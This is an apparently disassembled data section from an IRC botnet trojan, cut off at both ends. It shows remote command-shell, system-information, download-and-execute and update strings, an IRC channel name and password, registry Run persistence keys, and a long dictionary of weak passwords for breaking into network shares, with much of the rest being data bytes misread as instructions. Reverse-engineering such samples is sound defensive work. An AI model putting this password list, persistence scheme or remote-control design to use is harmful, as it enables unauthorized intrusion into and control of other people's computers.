terminated.',0Dh,0Ah,0 align 4 dword_425468 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: .nsp0:loc_408662o dd 2029206Ch, 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 4 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_408886+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: .nsp0:00408B38o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_4089A5:loc_408B09o align 4 word_425638 dw 3Fh ; DATA XREF: sub_4089A5:loc_408AA7r ; sub_409703+1Fo align 4 dword_42563C dd 28207325h, 297325hdword_425644 dd 3F3F3Fh ; .nsp0:loc_410FE6o a2003 db '2003',0 ; DATA XREF: sub_4089A5+BAo ; .nsp0:00425E4Co ... align 10h aXp db 'XP',0 ; DATA XREF: sub_4089A5+AAo ; .nsp0:00410FD1o align 4 a2k db '2K',0 ; DATA XREF: sub_4089A5+98o ; .nsp0:00410FC1o align 4 aMe db 'ME',0 ; DATA XREF: sub_4089A5+7Eo ; .nsp0:00410FA8o align 4 a98 db '98',0 ; DATA XREF: sub_4089A5+6Co ; .nsp0:00410F98o align 10h aNt db 'NT',0 ; DATA XREF: sub_4089A5+5Ao ; .nsp0:00410F88o align 4 a95 db '95',0 ; DATA XREF: sub_4089A5+46o ; .nsp0:00410F7Ao align 4 aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_408C59+ABo align 4 off_4256A8 dd offset off_412F4C+2 ; DATA XREF: sub_408C59:loc_408CCDo dword_4256AC dd 4E414Ch dword_4256B0 dd 6C616944h, 70752Dhdword_4256B8 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_4256C8 dd 202E6425h, 3D207325h, 732520hdword_4256D4 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_408E17+60o align 4 dword_425708 dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh ; DATA XREF: sub_408EB7+1Ao dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h dd 20353103h, 656C4320h, 64657261h, 2Eh dword_425740 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_408EF7+DCo dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh dd 2E657465h, 0 dword_425770 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_408EF7+3Fo dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h, 0 dword_425798 dd 78h align 10h dword_4257A0 dd 80000002h, 425C24h, 80000002h, 425C54h, 80000001h, 425C8Ch ; DATA XREF: sub_409026+7o unk_4257B8 db 2 ; DATA XREF: sub_409026+63o ; .nsp0:004095EEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_4257F8 db 2 ; DATA XREF: .nsp0:004095E0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_425844 db 2 ; DATA XREF: .nsp0:00409524o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_425898 dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch ; DATA XREF: .nsp0:004094B3o dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h dd 25203A64h, 2E73h aOpen db 'open',0 ; DATA XREF: .nsp0:00409491o ; .nsp0:0040C959o ... align 10h unk_4258D0 db 2 ; DATA XREF: .nsp0:0040943Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 4 unk_42591C db 2 ; DATA XREF: .nsp0:004093BDo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_425958 db 2 ; DATA XREF: .nsp0:00409333o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 10h unk_4259A0 db 2 ; DATA XREF: .nsp0:004092F0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_4259E4 db 2 ; DATA XREF: .nsp0:004092DEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 10h unk_425A30 db 2 ; DATA XREF: .nsp0:004091D2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_409703:loc_409746o ; sub_4102CC+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_409703:loc_409740o aDisk db 'Disk',0 ; DATA XREF: sub_409703:loc_40973Ao align 4 aNetwork db 'Network',0 ; DATA XREF: sub_409703:loc_409734o aCdrom db 'Cdrom',0 ; DATA XREF: sub_409703:loc_40972Eo align 4 aRam db 'RAM',0 ; DATA XREF: sub_409703:loc_409728o aFailed db 'failed',0 ; DATA XREF: sub_409794:loc_40986Co ; sub_4098AF+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_409794+6Bo align 4 dword_425AA8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_4098AF+8Eo dd 2029206Ch, 2BBBB02h aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 dword_425AF8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_4098AF+58o dd 2029206Ch, 2BBBB02h aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 align 4 aA_0 db 'A:\',0 ; DATA XREF: sub_409981:loc_4099C6o dword_425B4C dd 1A0Bh ; .nsp0:00409FC6r dword_425B50 dd 1A0Bh dd 1AA6h dword_425B58 dd 0CCEh dword_425B5C dd 158Dh ; .nsp0:loc_40ED0Er dword_425B60 dd 1 dword_425B64 dd 1 dword_425B68 dd 1 ; .nsp0:loc_409E2Ar byte_425B6C db 78h ; DATA XREF: .nsp0:loc_409659r ; .nsp0:0040A9EDr ... align 10h dword_425B70 dd 9 ; sub_410D6D+51r ... dword_425B74 dd 1 ; .nsp0:0040A5B5r ... aIds4473 db 'ids4473',0 ; DATA XREF: .nsp0:00409B58o ; .nsp0:0040DC33o ... aEnz9_9b34 db 'enz 9.9b34',0 ; DATA XREF: .nsp0:loc_40F67Co align 4 aHi db 'hi',0 ; DATA XREF: .nsp0:0040F826o ; .nsp0:0040F8F5o align 10h a1068346466 db '1068346466',0 ; DATA XREF: .nsp0:00409EFEo ; .nsp0:00409FB7o align 4 aCc db '#cc',0 ; DATA XREF: .nsp0:00409F1Fo ; .nsp0:00409FCDo aDcpass db 'dcpass',0 ; DATA XREF: .nsp0:00409F36o ; .nsp0:00409FDFo align 4 byte_425BA8 db 31h ; DATA XREF: .nsp0:loc_409FF5r ; .nsp0:0040A003o a068346466 db '068346466',0 align 4 aCc_0 db '#cc',0 ; DATA XREF: .nsp0:0040A019o aDcpass_0 db 'dcpass',0 ; DATA XREF: .nsp0:0040A02Bo align 10h byte_425BC0 db 54h ; CODE XREF: .nsp0:loc_409CCDp ; DATA XREF: sub_4032B0+3Eo ... db 69h, 6Ch, 65h dd 2E737973h, 6D6F63h dword_425BCC dd 656C6954h, 2E737973h, 6C6C64hdword_425BD8 dd 69706F54h, 69542063h, 7973656Ch, 73hdword_425BE8 dd 2D495Ah, 656C6954h, 2E737973h, 6D6F63hdword_425BF8 dd 692B782Bh, 0 dword_425C00 dd 697A23h ; .nsp0:0040EA74o ... dword_425C04 dd 737323h dword_425C08 dd 737323h, 30303837h, 31h, 2 dup(6673h)off_425C1C dd offset a@room ; DATA XREF: .nsp0:loc_40F870o ; "*@room" off_425C20 dd offset aMirc1_6_99 ; DATA XREF: .nsp0:0040AB66r ; .nsp0:0040F88Co ; "mirc 1.6.99" db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41135F+28o ; .nsp0:004116ABo align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41135F+D4o ; .nsp0:00411757o align 4 dd offset aAdministrator ; "Administrator" ; --------------------------------------------------------------------------- push esp retf ; --------------------------------------------------------------------------- inc edx add [ebx+ecx*8+42h], al add [ebx+ecx*8], dh inc edx add [eax], ch retf ; --------------------------------------------------------------------------- inc edx add [eax], ah retf ; --------------------------------------------------------------------------- inc edx add [eax], bl retf ; --------------------------------------------------------------------------- inc edx add [eax], dl retf ; --------------------------------------------------------------------------- inc edx add [eax], cl retf ; --------------------------------------------------------------------------- inc edx add ah, bh retf 42h ; --------------------------------------------------------------------------- dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" ; --------------------------------------------------------------------------- fmul st, st(2) inc edx add al, dl retf 42h ; --------------------------------------------------------------------------- enter 42CAh, 0 mov esp, 0B80042CAh retf 42h ; --------------------------------------------------------------------------- dd offset aOracle ; "oracle" ; --------------------------------------------------------------------------- lodsb retf 42h ; --------------------------------------------------------------------------- movsb retf 42h ; --------------------------------------------------------------------------- pushf retf 42h ; --------------------------------------------------------------------------- xchg eax, esp retf 42h ; --------------------------------------------------------------------------- dd offset aAdmin_1 ; "admin!" dd offset aAdmin_0 ; "$admin" dd offset aAdministrattor ; "Administrattor$" ; --------------------------------------------------------------------------- push 580042CAh retf 42h ; --------------------------------------------------------------------------- align 10h or [edi], ah inc ebx add [eax-36h], cl inc edx add [ebx+ecx*8+42h], ah add [ebx+ecx*8+42h], dl add [eax-36h], al inc edx add [edx+ecx*8], bh inc edx add [edx+ecx*8], dh inc edx add [edx+ecx*8], ch inc edx add [eax], cl retf ; --------------------------------------------------------------------------- inc edx add [edx+ecx*8], ah inc edx add [eax], bl retf 42h ; --------------------------------------------------------------------------- adc dl, cl inc edx add [eax], cl retf 42h ; --------------------------------------------------------------------------- dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem ; "SYSTEM" dd offset aServer_0 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" ; --------------------------------------------------------------------------- cld enter 42h, 0F0h enter 42h, 0E4h enter 42h, 0DCh enter 42h, 0D4h enter 42h, 0BCh retf 42h ; --------------------------------------------------------------------------- dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" ; --------------------------------------------------------------------------- mov al, 0CAh inc edx add [eax+ecx*8-374BFFBEh], bh inc edx add ah, bh retf 42h ; --------------------------------------------------------------------------- dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex_0 ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_1 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_42C63C ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_42093C dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" ; --------------------------------------------------------------------------- mov esp, 0B40042C4h les eax, [edx+0] lodsb les eax, [edx+0] mov al, ds:980042C4h les eax, [edx+0] nop les eax, [edx+0] test al, ah inc edx add [esp+eax*8+42h], bh add [esp+eax*8+42h], dh add [esp+eax*8+42h], ch add [esp+eax*8+42h], ah add [eax-3Ch], bl inc edx add [eax-3Ch], dl inc edx add [eax-3Ch], cl inc edx add [eax-3Ch], al inc edx add [esp+eax*8], dh inc edx add [esp+eax*8], ch inc edx add [esp+eax*8], ah inc edx add [esp+eax*8], bl inc edx add [esp+eax*8], dl inc edx add [esp+eax*8], cl inc edx add [esp+eax*8], al inc edx add ah, bh retn ; --------------------------------------------------------------------------- inc edx add ah, dh retn ; --------------------------------------------------------------------------- inc edx add al, ch retn ; --------------------------------------------------------------------------- inc edx add al, ah retn ; --------------------------------------------------------------------------- inc edx add al, bl retn ; --------------------------------------------------------------------------- inc edx add ah, cl retn ; --------------------------------------------------------------------------- inc edx add ah, al retn ; --------------------------------------------------------------------------- inc edx add [eax-53FFBD3Dh], bh retn ; --------------------------------------------------------------------------- inc edx add [ebx+eax*8-3C63FFBEh], ah inc edx add [ebx+eax*8-3C73FFBEh], dl inc edx add [ebx+eax*8-3C83FFBEh], al inc edx add [ebx+eax*8+42h], dh add [ebx+eax*8+42h], ch add [ebx+eax*8+42h], ah add [ebx+eax*8+42h], bl add [ebx+eax*8+42h], dl add [eax-3Dh], cl inc edx add [eax-3Dh], al inc edx add [eax], bh retn ; --------------------------------------------------------------------------- inc edx add [ebx+eax*8], ch inc edx add [ebx+eax*8], ah inc edx add [ebx+eax*8], bl inc edx add [ebx+eax*8], dl inc edx add [ebx+eax*8], cl inc edx add [ebx+eax*8], al inc edx add al, bh retn 42h ; --------------------------------------------------------------------------- dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" ; --------------------------------------------------------------------------- fadd st, st(2) inc edx add al, dl retn 42h ; --------------------------------------------------------------------------- enter 42C2h, 0 rol dl, 42h add [eax-4FFFBD3Eh], bh retn 42h ; --------------------------------------------------------------------------- test al, 0C2h inc edx add [eax-67FFBD3Eh], ah retn 42h ; --------------------------------------------------------------------------- mov edx, es inc edx add [edx+eax*8-3D83FFBEh], al inc edx add [eax-3Eh], dh inc edx add [eax-3Eh], ch inc edx add [eax-3Eh], ah inc edx add [eax-3Eh], bl inc edx add [eax-3Eh], dl inc edx add [eax-3Eh], cl inc edx add [eax-3Eh], al inc edx add [edx+eax*8], dh inc edx add [edx+eax*8], ch inc edx add [edx+eax*8], ah inc edx add [edx+eax*8], bl inc edx add [edx+eax*8], dl inc edx add [edx+eax*8], cl inc edx add [edx+eax*8], al inc edx add al, bh rol dword ptr [edx+0], 0F0h rol dword ptr [edx+0], 0E8h rol dword ptr [edx+0], 0E0h rol dword ptr [edx+0], 0D8h rol dword ptr [edx+0], 0D0h rol dword ptr [edx+0], 0C8h rol dword ptr [edx+0], 0BCh rol dword ptr [edx+0], 0B4h rol dword ptr [edx+0], 0A8h rol dword ptr [edx+0], 0A0h rol dword ptr [edx+0], 98h rol dword ptr [edx+0], 90h rol dword ptr [edx+0], 88h rol dword ptr [edx+0], 80h rol dword ptr [edx+0], 78h rol dword ptr [edx+0], 70h rol dword ptr [edx+0], 64h rol dword ptr [edx+0], 5Ch rol dword ptr [edx+0], 54h rol dword ptr [edx+0], 4Ch rol dword ptr [edx+0], 44h rol dword ptr [edx+0], 3Ch rol dword ptr [edx+0], 34h rol dword ptr [edx+0], 2Ch rol dword ptr [edx+0], 24h rol dword ptr [edx+0], 1Ch rol dword ptr [edx+0], 14h rol dword ptr [edx+0], 0Ch rol dword ptr [edx+0], 4 rol dword ptr [edx+0], 0FCh rol byte ptr [edx+0], 0F0h rol byte ptr [edx+0], 0E8h rol byte ptr [edx+0], 0E0h rol byte ptr [edx+0], 0D8h rol byte ptr [edx+0], 0D0h rol byte ptr [edx+0], 0C8h rol byte ptr [edx+0], 0C0h rol byte ptr [edx+0], 0B8h rol byte ptr [edx+0], 0B0h rol byte ptr [edx+0], 0A8h rol byte ptr [edx+0], 0A0h rol byte ptr [edx+0], 98h rol byte ptr [edx+0], 8Ch rol byte ptr [edx+0], 84h rol byte ptr [edx+0], 7Ch rol byte ptr [edx+0], 74h rol byte ptr [edx+0], 6Ch rol byte ptr [edx+0], 64h rol byte ptr [edx+0], 5Ch rol byte ptr [edx+0], 54h rol byte ptr [edx+0], 4Ch rol byte ptr [edx+0], 44h rol byte ptr [edx+0], 38h rol byte ptr [edx+0], 30h rol byte ptr [edx+0], 24h rol byte ptr [edx+0], 1Ch rol byte ptr [edx+0], 10h rol byte ptr [edx+0], 8 rol byte ptr [edx+0], 0FCh mov edi, 0BFF00042h inc edx add al, ch mov edi, 0BFE00042h inc edx add al, bl mov edi, 0BFD00042h inc edx add al, cl mov edi, 0BFBC0042h inc edx add [eax-57FFBD41h], dh mov edi, 0BF9C0042h inc edx add [edi+edi*4-4073FFBEh], dl inc edx add [edi+edi*4-4083FFBEh], al inc edx add [edi+edi*4+42h], dh add [edi+edi*4+42h], ch add [edi+edi*4+42h], ah add [eax-41h], bl inc edx add [eax-41h], dl inc edx add [eax-41h], cl inc edx add [eax-41h], al inc edx add [eax], bh mov edi, 0BF300042h inc edx add [edi+edi*4], ah inc edx add [eax], bl mov edi, 0BF100042h inc edx add [eax], cl mov edi, 0BEFC0042h inc edx add ah, dh mov esi, 0BEEC0042h inc edx add al, ah mov esi, 0BED40042h inc edx add ah, cl mov esi, 0BEC40042h inc edx add [esi+edi*4-414BFFBEh], bh inc edx add [esi+edi*4-415BFFBEh], ch inc edx add [esi+edi*4-416FFFBEh], bl inc edx add [eax-7FFFBD42h], cl mov esi, 0BE780042h inc edx add [eax-42h], dh inc edx add [esi+edi*4+42h], ah add [esi+edi*4+42h], bl add [esi+edi*4+42h], dl add [esi+edi*4+42h], cl add [eax-42h], al inc edx add [eax], bh mov esi, 0BE300042h inc edx add [eax], ch mov esi, 0BE200042h inc edx add [esi+edi*4], dl inc edx add [esi+edi*4], cl inc edx add [esi+edi*4], al inc edx add al, bh mov ebp, 0BDF00042h inc edx add al, ch mov ebp, 0BDE00042h inc edx add al, bl mov ebp, 0BDD00042h inc edx add ah, al mov ebp, 0BDB80042h inc edx add [eax-57FFBD43h], dh mov ebp, 0BD9C0042h inc edx add [ebp+edi*4-4277FFBEh], dl inc edx add [ebp+edi*4+42h], bh add [ebp+edi*4+42h], dh add [ebp+edi*4+42h], ch add [eax-43h], ah inc edx add [ebp+edi*4+42h], dl add [ebp+edi*4+42h], cl add [ebp+edi*4+42h], al add ds:0BD340042h[edi*4], bh inc edx add ds:0BD240042h[edi*4], ch inc edx add ds:0BD140042h[edi*4], bl inc edx add ds:0BD040042h[edi*4], cl inc edx add al, bh mov esp, 0BCF00042h inc edx add ah, ah mov esp, 0BCDC0042h inc edx add al, dl mov esp, 0BCC80042h inc edx add al, al mov esp, 34380042h inc edx add [eax-53FFBD44h], bh mov esp, 0BCA40042h inc edx add [eax-6FFFBD44h], bl mov esp, 0BC840042h inc edx add [esp+edi*4+42h], bh add [esp+edi*4+42h], dh add [esp+edi*4+42h], ch add [esp+edi*4+42h], ah add [esp+edi*4+42h], bl add [esp+edi*4+42h], dl add [eax-44h], cl inc edx add [eax-44h], al inc edx add [esp+edi*4], dh inc edx add [esp+edi*4], ch inc edx add [eax], ah mov esp, 0BC180042h inc edx add [eax], dl mov esp, 0BC040042h inc edx add ah, bh mov ebx, 0BBF40042h inc edx add al, ch mov ebx, 0BBDC0042h inc edx add ah, dl mov ebx, 0BBC80042h inc edx add al, al mov ebx, 0BBB80042h inc edx add [ebx+edi*4-445FFFBEh], ch inc edx add [eax-6FFFBD45h], bl mov ebx, 0BB880042h inc edx add [ebx+edi*4+42h], bh add [ebx+edi*4+42h], dh add [eax-45h], ch inc edx add [ebx+edi*4+42h], bl add [ebx+edi*4+42h], dl add [ebx+edi*4+42h], cl add [ebx+edi*4+42h], al add [ebx+edi*4], bh inc edx add [ebx+edi*4], dh inc edx add [ebx+edi*4], ch inc edx add [eax], ah mov ebx, 0BB180042h inc edx add [eax], dl mov ebx, 0BB080042h inc edx add ah, bh mov edx, 0BAF40042h inc edx add ah, ch mov edx, 0BAE40042h inc edx add ah, bl mov edx, 0BAD00042h inc edx add al, cl mov edx, 0BAC00042h inc edx add [eax-53FFBD46h], bh mov edx, 0BAA40042h inc edx add al, cl retf 42h ; --------------------------------------------------------------------------- dd offset aDefault ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; 